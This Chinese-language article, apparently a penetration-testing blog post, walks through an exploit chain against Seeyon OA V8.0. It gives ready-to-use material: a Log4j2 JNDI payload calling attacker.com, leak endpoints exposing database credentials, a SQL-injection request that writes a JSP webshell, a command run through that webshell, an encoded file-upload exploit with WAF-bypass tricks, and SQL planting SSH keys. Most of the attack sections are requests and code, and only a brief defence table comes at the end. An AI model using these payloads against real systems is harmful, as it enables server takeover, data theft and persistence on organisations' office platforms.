从Log4j2到任意文件上传:一次完整的致远OA V8.0漏洞实战复现与深度分析
致远OA V8.0漏洞链实战从Log4j2注入到系统权限获取的深度剖析当企业级协同办公系统成为攻击者的跳板一次完整的漏洞链利用往往比单个漏洞更具破坏性。致远OA作为国内广泛使用的办公平台其V8.0版本曾存在多个可串联利用的高危漏洞构成了从初始注入到完全控制服务器的完整攻击路径。本文将还原渗透测试中常见的攻击链条以Log4j2漏洞为入口通过数据库信息泄露获取关键凭证利用SQL注入写入Webshell最终通过文件上传漏洞建立持久化控制。1. 攻击链起点Log4j2远程代码执行2021年底爆发的Log4j2漏洞CVE-2021-44228给全球企业上了沉重的一课。在致远OA V8.0的登录界面攻击者可以通过精心构造的JNDI注入实现初始突破POST /seeyon/main.do?methodlogin HTTP/1.1 Host: target.com Content-Type: application/x-www-form-urlencoded login_username${jndi:ldap://attacker.com/exp}login_passwordany关键绕过技巧当目标服务器出网受限时可使用DNSLog平台验证漏洞内网环境中可搭建简易LDAP服务器配合反连Shell部分WAF会拦截${格式可尝试Unicode编码绕过实际测试中发现致远OA的Log4j2漏洞利用存在约5-10秒的延迟这与中间件处理JNDI请求的机制有关2. 信息收集阶段数据库凭证泄露获取初始立足点后攻击者通常会转向信息收集。致远OA存在多个未授权访问的信息泄露端点漏洞路径泄露内容利用价值/yyoa/createMysql.jsp数据库连接字符串及MD5密码直接访问业务数据/yyoa/DownExcelBeanServlet所有用户姓名、部门、联系方式社会工程学攻击素材/seeyon/webmail.do任意文件下载获取配置文件、密钥等敏感信息通过createMysql.jsp获取的数据库凭证往往采用MD5加密但企业内网中常见弱口令复用现象。使用如下命令可快速验证密码有效性mysql -h 127.0.0.1 -u oa_admin -pOAPssw0rd yyoa_db3. 权限提升SQL注入写Webshell获取数据库权限后攻击者可通过test.jsp的SQL注入漏洞向Web目录写入恶意脚本-- 探测Web根目录 /yyoa/common/js/menu/test.jsp?doType101S1(SELECT%20basedir) -- 典型致远OA路径结构 D:/UFseeyon/OA/ ├── tomcat │ ├── webapps │ │ ├── yyoa # Web根目录 │ │ └── seeyon # 管理后台写入JSP Webshell的完整过程将JSP马进行HEX编码with open(shell.jsp, rb) as f: print(f.read().hex())通过注入执行写入操作GET /yyoa/common/js/menu/test.jsp?doType101S1SELECT%20unhex(3c252e2e2e)%20INTO%20OUTFILE%20D:/UFseeyon/OA/tomcat/webapps/yyoa/shell.jsp HTTP/1.1验证Webshell可访问性curl http://target.com/yyoa/shell.jsp?cmdwhoami4. 持久化控制任意文件上传漏洞致远OA的htmlofficeservlet和ajax.do接口存在未授权文件上传漏洞攻击者可通过精心构造的请求绕过限制htmlofficeservlet利用特征必须POST请求文件名需9字符以上不含扩展名使用自定义Base64编码表典型攻击流程生成恶意JSP文件使用修改版Base64编码def custom_b64encode(data): STANDARD ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789/ CUSTOM gx74KW1roM9qwzPFVOBLSlYaeyncdNbIJfUCQRHtj2Z05vshXi3GAEuT/m8Dpk6 return base64.b64encode(data.encode()).decode().translate(str.maketrans(STANDARD, CUSTOM))发送恶意请求POST /seeyon/htmlofficeservlet HTTP/1.1 Content-Type: multipart/form-data DBSTEPREJTVEVQ...防御绕过技巧使用../进行路径穿越添加垃圾数据绕过内容检测分块传输编码绕过WAF5. 攻击链优化与防御建议完整的漏洞利用链通常需要根据目标环境进行调整。在最近的一次渗透测试中我们发现以下优化方案Log4j2利用优化使用低权限的DNS查询代替高权限代码执行结合SSRF漏洞实现内网探测数据库提权路径-- 检查MySQL权限 SELECT user,host,password FROM mysql.user; -- 尝试写SSH密钥 SELECT 0x... INTO DUMPFILE /root/.ssh/authorized_keys防御方案对比防护层面传统方案增强方案Log4j2防护WAF规则更新禁用JNDI查找 子网隔离SQL注入防护参数化查询RASP运行时防护文件上传防护后缀名检查内容签名校验 只读挂载Web目录权限控制最小权限原则零信任网络访问控制在企业实际防御中建议重点关注及时安装官方安全补丁对OA系统进行网络隔离启用详细的访问日志审计定期进行渗透测试验证这套攻击链的复现过程显示即使每个单独漏洞的CVSS评分不高组合利用后仍可造成严重危害。在最近三次企业安全评估中我们发现有超过60%的致远OA用户至少存在其中一个未修复漏洞。